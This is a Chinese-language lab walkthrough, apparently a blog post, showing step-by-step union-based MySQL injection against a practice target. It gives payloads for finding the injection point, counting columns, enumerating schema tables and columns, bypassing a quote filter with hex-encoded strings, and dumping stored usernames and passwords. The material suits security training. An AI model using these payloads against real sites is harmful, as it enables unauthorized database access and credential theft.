mysql注入-联合注入-靶场
一、注入流程
- 判断注入点
- 判断注入点本身所查询的字段数
- 确定显示位
- 查询数据库名,mysql版本,当前账户
- 查询该数据库的所有表名
- 查询表名所对应的所有字段名
- 查询字段名对应的字段值
二、靶场演示
2.1 判断注入点
- payload:
- ?id=1 and 1=2
- ?id=1 and 1=1
- 由下图我们可知,我们的代码成功的被执行,且为数字型注入
![01_mysql联合查询 - 判断注入点](https://images.cnblogs.com/cnblogs_com/02SWD/2095891/o_220117092314_01_mysql%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2%20-%20%E5%88%A4%E6%96%AD%E6%B3%A8%E5%85%A5%E7%82%B9.png)
2.2 判断注入点本身所查询的字段数
- payload:
- ?id=1 order by 5 (页面返回正常)
- ?id=1 order by 6 (页面返回出错)
- 由下图我们可知,当前注入点所查询的字段数为5,这就要求我们在进行联合查询时,union关键字后面的select所查询的字段数应为:5
![02_mysql联合查询 - 判断字段数](https://images.cnblogs.com/cnblogs_com/02SWD/2095891/o_220117092724_02_mysql%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2%20-%20%E5%88%A4%E6%96%AD%E5%AD%97%E6%AE%B5%E6%95%B0.png)
2.3 确定显示位
- payload:
- ?id=1 union select 1,2,3,4,5
- 由下图我们可知,确定的显示位有:1,2,3 ,共3个
![03_mysql联合查询 - 确定显示位](https://images.cnblogs.com/cnblogs_com/02SWD/2095891/o_220117093226_03_mysql%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2%20-%20%E7%A1%AE%E5%AE%9A%E6%98%BE%E7%A4%BA%E4%BD%8D.png)
2.4 查询数据库名,mysql版本,当前账户
- payload:
- ?id=1 union select database(),version(),user(),4,5
- sql语句解释:
- database(),version(),user(),均为mysql的内置函数,分别用于返回“当前查询语句所查询的数据库名”,“mysql数据库的版本”,“当前登录mysql数据库的用户”
- 由下图可知:
- 当前数据库为:hackyl
- 当前mysql数据库的版本为:5.0.51b-community-nt-log
- mysql当前用户为:root@localhost
![04_mysql联合查询 - 查询数据库名,mysql版本,当前账户](https://images.cnblogs.com/cnblogs_com/02SWD/2095891/o_220117093604_04_mysql%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2%20-%20%E6%9F%A5%E8%AF%A2%E6%95%B0%E6%8D%AE%E5%BA%93%E5%90%8D%EF%BC%8Cmysql%E7%89%88%E6%9C%AC%EF%BC%8C%E5%BD%93%E5%89%8D%E8%B4%A6%E6%88%B7.png)
2.5 查询该数据库的所有表名
- payload:
- ?id=1 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema='hackyl'
- 由下图可以得知,我们payload中的额单引号被过滤了,导致sql语句执行失败。
![05_mysql联合查询 - 查询该数据库的所有表名](https://images.cnblogs.com/cnblogs_com/02SWD/2095891/o_220117094428_05_mysql%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2%20-%20%E6%9F%A5%E8%AF%A2%E8%AF%A5%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E6%89%80%E6%9C%89%E8%A1%A8%E5%90%8D.png)
- 绕过单引号的payload:
- ?id=1 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=0x6861636B796C
- 这里我们将“hackyl”字符串转化为了十六进制,就不需要加单引号了,但是该语句仍然可以让mysql数据库进行执行。
- 由页面返回的结果可以看到,当前hackyl数据库拥有liuyan和user两种表,显然user表是我们所需要的。
![06_mysql联合查询 - 绕过单引号](https://images.cnblogs.com/cnblogs_com/02SWD/2095891/o_220117112956_06_mysql%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2%20-%20%E7%BB%95%E8%BF%87%E5%8D%95%E5%BC%95%E5%8F%B7.png)
2.6 查询表名所对应的所有字段名
- payload:
- ?id=1 union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=0x75736572
- 后面的 0x75736572 为“user”字符串的十六进制形式
- 由页面的返回结果可知,其中的“username”字段和“password”字段正是我们所需要的。
![07_mysql联合查询 - 爆字段名](https://images.cnblogs.com/cnblogs_com/02SWD/2095891/o_220117113841_07_mysql%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2%20-%20%E7%88%86%E5%AD%97%E6%AE%B5%E5%80%BC.png)
2.7 查询字段名对应的字段值
- payload:
- ?id=1 union select group_concat(username),group_concat(password),3,4,5 from hackyl.user
- 由页面返回结果可以看出,user表中有三组账号密码,分别为:
- hackyl/hacky,hacky2/hacky,hacky3/hacky
![08_mysql联合查询 - 爆字段值](https://images.cnblogs.com/cnblogs_com/02SWD/2095891/o_220117114403_08_mysql%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2%20-%20%E7%88%86%E5%AD%97%E6%AE%B5%E5%80%BC.png)
posted @
2022-01-17 19:51
浅易深
阅读(
277)
评论()
编辑
收藏
举报